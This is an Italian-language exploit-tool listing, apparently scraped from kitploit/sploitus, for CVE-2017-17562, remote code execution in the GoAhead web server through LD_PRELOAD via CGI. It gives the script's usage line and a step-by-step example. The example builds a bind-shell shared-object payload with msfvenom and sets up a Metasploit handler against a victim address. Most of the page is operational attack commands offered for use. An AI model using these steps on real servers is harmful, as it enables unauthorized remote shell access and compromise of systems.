## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NU11POINTER-GOAHEAD-RCE-EXPLOIT
# GoAhead Web Server 2.5 < 3.6.5 - Esecuzione Remota di Codice tramite 'LD_PRELOAD' HTTPd
Exploit per la vulnerabilità CVE-2017-17562, che consente RCE su GoAhead (< v3.6.5) se CGI è abilitato e un programma CGI è collegato dinamicamente.
## Utilizzo
root@kitploit:~
$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]
## Requisiti
root@kitploit:~
$ python3 -m pip install -r requirements.txt
### Attenzione!
È necessario generare il payload e configurare prima la connessione in ascolto.
Esempio:
(Attaccante: 192.168.1.100 - Vittima: 192.168.1.200)
root@kitploit:~
$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337